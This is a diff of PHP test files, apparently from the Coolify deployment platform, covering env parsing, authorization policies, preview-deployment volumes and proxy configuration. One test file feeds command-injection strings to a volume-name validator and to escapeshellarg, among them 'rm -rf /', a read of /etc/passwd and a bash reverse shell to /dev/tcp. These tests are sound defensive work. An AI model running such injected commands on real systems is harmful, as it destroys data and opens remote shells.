$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'PASSWORD' => ['value' => 'passw0rd', 'comment' => 'this is secure'],
|
||||
'NODE_VERSION' => ['value' => '22', 'comment' => 'needed for now'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray extracts comments from quoted values followed by comments', function () {
|
||||
$input = "KEY1=\"value\" #comment after quote\nKEY2='value' #another comment";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value', 'comment' => 'comment after quote'],
|
||||
'KEY2' => ['value' => 'value', 'comment' => 'another comment'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles empty comments', function () {
|
||||
$input = "KEY1=value #\nKEY2=value # ";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'KEY1' => ['value' => 'value', 'comment' => null],
|
||||
'KEY2' => ['value' => 'value', 'comment' => null],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray extracts multi-word comments', function () {
|
||||
$input = 'DATABASE_URL=postgres://localhost #this is the database connection string for production';
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'DATABASE_URL' => ['value' => 'postgres://localhost', 'comment' => 'this is the database connection string for production'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles mixed quoted and unquoted with comments', function () {
|
||||
$input = "UNQUOTED=value1 #comment1\nDOUBLE=\"value2\" #comment2\nSINGLE='value3' #comment3";
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'UNQUOTED' => ['value' => 'value1', 'comment' => 'comment1'],
|
||||
'DOUBLE' => ['value' => 'value2', 'comment' => 'comment2'],
|
||||
'SINGLE' => ['value' => 'value3', 'comment' => 'comment3'],
|
||||
]);
|
||||
});
|
||||
|
||||
test('parseEnvFormatToArray handles the user reported case ASD=asd #asdfgg', function () {
|
||||
$input = 'ASD=asd #asdfgg';
|
||||
$result = parseEnvFormatToArray($input);
|
||||
|
||||
expect($result)->toBe([
|
||||
'ASD' => ['value' => 'asd', 'comment' => 'asdfgg'],
|
||||
]);
|
||||
|
||||
// Specifically verify the comment is extracted
|
||||
expect($result['ASD']['value'])->toBe('asd');
|
||||
expect($result['ASD']['comment'])->toBe('asdfgg');
|
||||
expect($result['ASD']['comment'])->not->toBeNull();
|
||||
});
|
||||
@@ -0,0 +1,98 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Persistent Volume Security Tests
|
||||
*
|
||||
* Tests to ensure persistent volume names are validated against command injection
|
||||
* and that shell commands properly escape volume names.
|
||||
*
|
||||
* Related Advisory: GHSA-mh8x-fppq-cp77
|
||||
* Related Files:
|
||||
* - app/Models/LocalPersistentVolume.php
|
||||
* - app/Support/ValidationPatterns.php
|
||||
* - app/Livewire/Project/Service/Storage.php
|
||||
* - app/Actions/Service/DeleteService.php
|
||||
*/
|
||||
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
// --- Volume Name Pattern Tests ---
|
||||
|
||||
it('accepts valid Docker volume names', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
|
||||
})->with([
|
||||
'simple name' => 'myvolume',
|
||||
'with hyphens' => 'my-volume',
|
||||
'with underscores' => 'my_volume',
|
||||
'with dots' => 'my.volume',
|
||||
'with uuid prefix' => 'abc123-postgres-data',
|
||||
'numeric start' => '1volume',
|
||||
'complex name' => 'app123-my_service.data-v2',
|
||||
]);
|
||||
|
||||
it('rejects volume names with shell metacharacters', function (string $name) {
|
||||
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
|
||||
})->with([
|
||||
'semicolon injection' => 'vol; rm -rf /',
|
||||
'pipe injection' => 'vol | cat /etc/passwd',
|
||||
'ampersand injection' => 'vol && whoami',
|
||||
'backtick injection' => 'vol`id`',
|
||||
'dollar command substitution' => 'vol$(whoami)',
|
||||
'redirect injection' => 'vol > /tmp/evil',
|
||||
'space in name' => 'my volume',
|
||||
'slash in name' => 'my/volume',
|
||||
'newline injection' => "vol\nwhoami",
|
||||
'starts with hyphen' => '-volume',
|
||||
'starts with dot' => '.volume',
|
||||
]);
|
||||
|
||||
// --- escapeshellarg Defense Tests ---
|
||||
|
||||
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
|
||||
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
|
||||
|
||||
// The command should contain the name as a single quoted argument,
|
||||
// preventing shell interpretation of metacharacters
|
||||
expect($command)->not->toContain('; ')
|
||||
->not->toContain('| ')
|
||||
->not->toContain('&& ')
|
||||
->not->toContain('`')
|
||||
->toStartWith('docker volume rm -f ');
|
||||
})->with([
|
||||
'semicolon' => 'vol; rm -rf /',
|
||||
'pipe' => 'vol | cat /etc/passwd',
|
||||
'ampersand' => 'vol && whoami',
|
||||
'backtick' => 'vol`id`',
|
||||
'command substitution' => 'vol$(whoami)',
|
||||
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
|
||||
]);
|
||||
|
||||
// --- volumeNameRules Tests ---
|
||||
|
||||
it('generates volumeNameRules with correct defaults', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules();
|
||||
|
||||
expect($rules)->toContain('required')
|
||||
->toContain('string')
|
||||
->toContain('max:255')
|
||||
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
|
||||
});
|
||||
|
||||
it('generates nullable volumeNameRules when not required', function () {
|
||||
$rules = ValidationPatterns::volumeNameRules(required: false);
|
||||
|
||||
expect($rules)->toContain('nullable')
|
||||
->not->toContain('required');
|
||||
});
|
||||
|
||||
it('generates correct volumeNameMessages', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages();
|
||||
|
||||
expect($messages)->toHaveKey('name.regex');
|
||||
});
|
||||
|
||||
it('generates volumeNameMessages with custom field name', function () {
|
||||
$messages = ValidationPatterns::volumeNameMessages('volume_name');
|
||||
|
||||
expect($messages)->toHaveKey('volume_name.regex');
|
||||
});
|
||||
@@ -0,0 +1,227 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\GithubAppPolicy;
|
||||
|
||||
it('allows any user to view any github apps', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows any user to view system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view non-system-wide github app', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 2, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to update system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows user with system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies user without system access to delete system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('canAccessSystemResources')->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = true;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete non-system-wide github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of github app', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
|
||||
public $is_system_wide = false;
|
||||
};
|
||||
|
||||
$policy = new GithubAppPolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,163 @@
|
||||
<?php
|
||||
|
||||
use App\Models\User;
|
||||
use App\Policies\SharedEnvironmentVariablePolicy;
|
||||
|
||||
it('allows any user to view any shared environment variables', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->viewAny($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('allows team member to view their team shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-team member to view shared environment variable', function () {
|
||||
$teams = collect([
|
||||
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
|
||||
]);
|
||||
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 2;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->view($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(true);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies non-admin to create shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdmin')->andReturn(false);
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->create($user))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to update shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->update($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to delete shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->delete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies restore of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->restore($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('denies force delete of shared environment variable', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->forceDelete($user, $model))->toBeFalse();
|
||||
});
|
||||
|
||||
it('allows team admin to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeTrue();
|
||||
});
|
||||
|
||||
it('denies team member to manage environment', function () {
|
||||
$user = Mockery::mock(User::class)->makePartial();
|
||||
$user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
|
||||
|
||||
$model = new class
|
||||
{
|
||||
public $team_id = 1;
|
||||
};
|
||||
|
||||
$policy = new SharedEnvironmentVariablePolicy;
|
||||
expect($policy->manageEnvironment($user, $model))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,176 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Tests for GitHub issue #7802: volume mappings from repo content in Preview Deployments.
|
||||
*
|
||||
* Behavioral tests for addPreviewDeploymentSuffix and related helper functions.
|
||||
*
|
||||
* Note: The parser functions (applicationParser, serviceParser) and
|
||||
* ApplicationDeploymentJob methods require database-persisted models with
|
||||
* relationships (Application->destination->server, etc.), making them
|
||||
* unsuitable for unit tests. Integration tests for those paths belong
|
||||
* in tests/Feature/.
|
||||
*/
|
||||
describe('addPreviewDeploymentSuffix', function () {
|
||||
it('appends -pr-N suffix for non-zero pull request id', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3');
|
||||
});
|
||||
|
||||
it('returns name unchanged when pull request id is zero', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume');
|
||||
});
|
||||
|
||||
it('handles pull request id of 1', function () {
|
||||
expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1');
|
||||
});
|
||||
|
||||
it('handles large pull request ids', function () {
|
||||
expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999');
|
||||
});
|
||||
|
||||
it('handles names with dots and slashes', function () {
|
||||
expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2');
|
||||
});
|
||||
|
||||
it('handles names with existing hyphens', function () {
|
||||
expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5');
|
||||
});
|
||||
|
||||
it('handles empty name with non-zero pr id', function () {
|
||||
expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1');
|
||||
});
|
||||
|
||||
it('handles uuid-prefixed volume names', function () {
|
||||
$uuid = 'abc123_my-volume';
|
||||
expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7');
|
||||
});
|
||||
|
||||
it('defaults pull_request_id to 0', function () {
|
||||
expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sourceIsLocal', function () {
|
||||
it('detects relative paths starting with dot-slash', function () {
|
||||
expect(sourceIsLocal(str('./scripts')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects absolute paths starting with slash', function () {
|
||||
expect(sourceIsLocal(str('/var/data')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects tilde paths', function () {
|
||||
expect(sourceIsLocal(str('~/data')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('detects parent directory paths', function () {
|
||||
expect(sourceIsLocal(str('../config')))->toBeTrue();
|
||||
});
|
||||
|
||||
it('returns false for named volumes', function () {
|
||||
expect(sourceIsLocal(str('myvolume')))->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('replaceLocalSource', function () {
|
||||
it('replaces dot-slash prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('./scripts'), str('/app'));
|
||||
expect((string) $result)->toBe('/app/scripts');
|
||||
});
|
||||
|
||||
it('replaces dot-dot-slash prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('../config'), str('/app'));
|
||||
expect((string) $result)->toBe('/app./config');
|
||||
});
|
||||
|
||||
it('replaces tilde prefix with target path', function () {
|
||||
$result = replaceLocalSource(str('~/data'), str('/app'));
|
||||
expect((string) $result)->toBe('/app/data');
|
||||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Source-code structure tests for parser and deployment job.
|
||||
*
|
||||
* These verify that key code patterns exist in the parser and deployment job.
|
||||
* They are intentionally text-based because the parser/deployment functions
|
||||
* require database-persisted models with deep relationships, making behavioral
|
||||
* unit tests impractical. Full behavioral coverage should be done via Feature tests.
|
||||
*/
|
||||
describe('parser structure: bind mount handling', function () {
|
||||
it('checks is_preview_suffix_enabled before applying suffix', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')");
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart);
|
||||
|
||||
expect($bindBlock)
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('applies preview suffix to named volumes', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
|
||||
$volumeBlock = substr($parsersFile, $volumeBlockStart, 1000);
|
||||
|
||||
expect($volumeBlock)->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
|
||||
describe('parser structure: label generation uuid isolation', function () {
|
||||
it('uses labelUuid instead of mutating shared uuid', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;');
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, 300);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('$labelUuid = $resource->uuid')
|
||||
->not->toContain('$uuid = $resource->uuid')
|
||||
->not->toContain('$uuid = "{$resource->uuid}');
|
||||
});
|
||||
|
||||
it('uses labelUuid in all proxy label generation calls', function () {
|
||||
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
|
||||
|
||||
$labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly');
|
||||
$labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')");
|
||||
$labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart);
|
||||
|
||||
expect($labelBlock)
|
||||
->toContain('uuid: $labelUuid')
|
||||
->not->toContain('uuid: $uuid');
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployment job structure: is_preview_suffix_enabled', function () {
|
||||
it('checks setting in generate_local_persistent_volumes', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
|
||||
it('checks setting in generate_local_persistent_volumes_only_volume_names', function () {
|
||||
$deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
$methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
|
||||
$methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()');
|
||||
$methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
|
||||
|
||||
expect($methodBlock)
|
||||
->toContain('is_preview_suffix_enabled')
|
||||
->toContain('$isPreviewSuffixEnabled')
|
||||
->toContain('addPreviewDeploymentSuffix');
|
||||
});
|
||||
});
|
||||
@@ -112,7 +112,7 @@ uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
);
|
||||
|
||||
$this->expectException(\Exception::class);
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable');
|
||||
$this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
|
||||
|
||||
PrivateKey::createAndStore([
|
||||
'name' => 'Test Key',
|
||||
|
||||
@@ -0,0 +1,173 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Proxy\GetProxyConfiguration;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Spatie\SchemalessAttributes\SchemalessAttributes;
|
||||
|
||||
beforeEach(function () {
|
||||
Log::spy();
|
||||
Cache::spy();
|
||||
});
|
||||
|
||||
function mockServerWithDbConfig(?string $savedConfig, string $proxyType = 'TRAEFIK'): object
|
||||
{
|
||||
$proxyAttributes = Mockery::mock(SchemalessAttributes::class);
|
||||
$proxyAttributes->shouldReceive('get')
|
||||
->with('last_saved_proxy_configuration')
|
||||
->andReturn($savedConfig);
|
||||
|
||||
$proxyPath = match ($proxyType) {
|
||||
'CADDY' => '/data/coolify/proxy/caddy',
|
||||
'NGINX' => '/data/coolify/proxy/nginx',
|
||||
default => '/data/coolify/proxy/',
|
||||
};
|
||||
|
||||
$server = Mockery::mock('App\Models\Server');
|
||||
$server->shouldIgnoreMissing();
|
||||
$server->shouldReceive('getAttribute')->with('proxy')->andReturn($proxyAttributes);
|
||||
$server->shouldReceive('getAttribute')->with('id')->andReturn(1);
|
||||
$server->shouldReceive('getAttribute')->with('name')->andReturn('Test Server');
|
||||
$server->shouldReceive('proxyType')->andReturn($proxyType);
|
||||
$server->shouldReceive('proxyPath')->andReturn($proxyPath);
|
||||
|
||||
return $server;
|
||||
}
|
||||
|
||||
it('returns OK for NONE proxy type without reading config', function () {
|
||||
$server = Mockery::mock('App\Models\Server');
|
||||
$server->shouldIgnoreMissing();
|
||||
$server->shouldReceive('proxyType')->andReturn('NONE');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe('OK');
|
||||
});
|
||||
|
||||
it('reads proxy configuration from database', function () {
|
||||
$savedConfig = "services:\n traefik:\n image: traefik:v3.5\n";
|
||||
$server = mockServerWithDbConfig($savedConfig);
|
||||
|
||||
// ProxyDashboardCacheService is called at the end — mock it
|
||||
$server->shouldReceive('proxyType')->andReturn('TRAEFIK');
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($savedConfig);
|
||||
});
|
||||
|
||||
it('preserves full custom config including labels, env vars, and custom commands', function () {
|
||||
$customConfig = <<<'YAML'
|
||||
services:
|
||||
traefik:
|
||||
image: traefik:v3.5
|
||||
command:
|
||||
- '--entrypoints.http.address=:80'
|
||||
- '--metrics.prometheus=true'
|
||||
labels:
|
||||
- 'traefik.enable=true'
|
||||
- 'waf.custom.middleware=true'
|
||||
environment:
|
||||
CF_API_EMAIL: user@example.com
|
||||
CF_API_KEY: secret-key
|
||||
YAML;
|
||||
|
||||
$server = mockServerWithDbConfig($customConfig);
|
||||
|
||||
$result = GetProxyConfiguration::run($server);
|
||||
|
||||
expect($result)->toBe($customConfig)
|
||||
->and($result)->toContain('waf.custom.middleware=true')
|
||||
->and($result)->toContain('CF_API_EMAIL')
|
||||
->and($result)->toContain('metrics.prometheus=true');
|
||||
});
|
||||
|
||||
it('logs warning when regenerating defaults', function () {
|
||||
Log::swap(new \Illuminate\Log\LogManager(app()));
|
||||
Log::spy();
|
||||
|
||||
// No DB config, no disk config — will try to regenerate
|
||||
$server = mockServerWithDbConfig(null);
|
||||
|
||||
// backfillFromDisk will be called — we need instant_remote_process to return empty
|
||||
// Since it's a global function we can't easily mock it, so test the logging via
|
||||
// the force regenerate path instead
|
||||
try {
|
||||
GetProxyConfiguration::run($server, forceRegenerate: true);
|
||||
